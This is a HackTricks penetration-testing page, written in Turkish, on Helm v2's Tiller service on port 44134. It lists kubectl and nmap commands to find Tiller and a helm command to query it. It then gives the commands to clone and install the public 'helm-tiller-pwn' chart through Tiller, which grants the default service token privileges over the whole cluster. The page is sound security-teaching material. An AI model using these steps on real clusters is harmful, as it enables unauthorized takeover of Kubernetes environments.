hacktricks/src/network-services-pentesting/44134-pentesting-tiller-helm.md

58 lines
3.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

{{#include ../banners/hacktricks-training.md}}
# Temel Bilgiler
Helm, Kubernetes için **paket yöneticisi**dir. YAML dosyalarını paketlemeye ve bunları kamu ve özel depolarda dağıtmaya olanak tanır. Bu paketlere **Helm Charts** denir. **Tiller**, varsayılan olarak 44134 numaralı portta çalışan **hizmet**tir.
**Varsayılan port:** 44134
```
PORT STATE SERVICE VERSION
44134/tcp open unknown
```
# Enumeration
Eğer farklı ad alanlarının **podlarını ve/veya hizmetlerini sıralayabiliyorsanız**, bunları sıralayın ve **adlarında "tiller"** geçenleri arayın:
```bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
```
Örnekler:
```bash
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
```
Bu servisin çalıştığını bulmayı 44134 numaralı portu kontrol ederek de deneyebilirsiniz:
```bash
sudo nmap -sS -p 44134 <IP>
```
Bunu keşfettikten sonra, istemci helm uygulamasını indirerek onunla iletişim kurabilirsiniz. `homebrew` gibi araçları kullanabilir veya [**resmi sürümler sayfasına**](https://github.com/helm/helm/releases)** bakabilirsiniz.** Daha fazla ayrıntı veya diğer seçenekler için [kurulum kılavuzuna](https://v2.helm.sh/docs/using_helm/#installing-helm) bakın.
Ardından, **hizmeti numaralandırabilirsiniz**:
```
helm --host tiller-deploy.kube-system:44134 version
```
## Yetki Yükseltme
Varsayılan olarak **Helm2**, **kube-system** **ad alanında** **yüksek yetkilerle** kuruldu, bu nedenle hizmeti bulup ona erişiminiz varsa, bu size **yetki yükseltme** imkanı verebilir.
Tek yapmanız gereken, **tüm kümedeki her şeye varsayılan hizmet token erişimi** verecek olan şu paketi kurmaktır: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn)
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
[http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) adresinde **saldırının açıklamasını** bulabilirsiniz, ancak temelde, _helm-tiller-pwn/pwnchart/templates/_ içindeki [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) ve [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) dosyalarını okursanız, **tüm ayrıcalıkların varsayılan token'a nasıl verildiğini** görebilirsiniz.
{{#include ../banners/hacktricks-training.md}}